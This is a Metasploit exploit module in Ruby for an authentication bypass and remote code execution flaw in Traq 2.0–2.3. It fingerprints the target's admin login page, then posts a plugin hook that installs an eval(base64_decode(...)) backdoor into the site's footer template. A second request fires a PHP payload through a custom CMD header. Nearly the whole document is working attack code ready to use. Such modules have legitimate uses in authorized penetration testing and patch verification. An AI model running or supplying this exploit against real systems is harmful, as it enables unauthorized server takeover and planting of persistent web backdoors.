Traq 2.3 Authentication Bypass / Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in  
Traq 2.0 to 2.3. It's in the admincp/common.php script.  
  
This function is called in each script located into /admicp/ directory to  
make sure the user has admin rights, but this is a broken authorization  
schema due to the header() function doesn't stop the execution flow. This  
can be exploited by malicious users to execute admin functionality resulting  
for e.g. in execution of arbitrary PHP code leveraging of plugins.php  
functionality.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'EgiX', # Vulnerability discovery and exploit  
'TecR0c' # Metasploit Module  
],  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],  
[ 'URL', 'http://traqproject.org/' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Keys' => ['php'],  
'Space' => 4000,  
'DisableNops' => true,  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', {} ]],  
'DisclosureDate' => 'Dec 12 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The path to the Traq installation", "/"]),  
],self.class)  
end  
  
def check  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"  
  
res = send_request_raw(  
{  
'uri'=> uri  
}, 25)  
  
if (res and res.body =~ /Powered by Traq 2.[0-3]/ )  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
p = Rex::Text.encode_base64(payload.encoded)  
  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => uri,  
'vars_post' =>  
{  
'plugin_id' => '1',  
'title' => '1',  
'execorder' => '0',  
'hook' => 'template_footer',  
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'  
}  
}, 25)  
  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => uri,  
'headers' =>  
{  
'CMD' => p,  
'Connection' => 'Close',  
},  
}, 25)  
end  
end  
`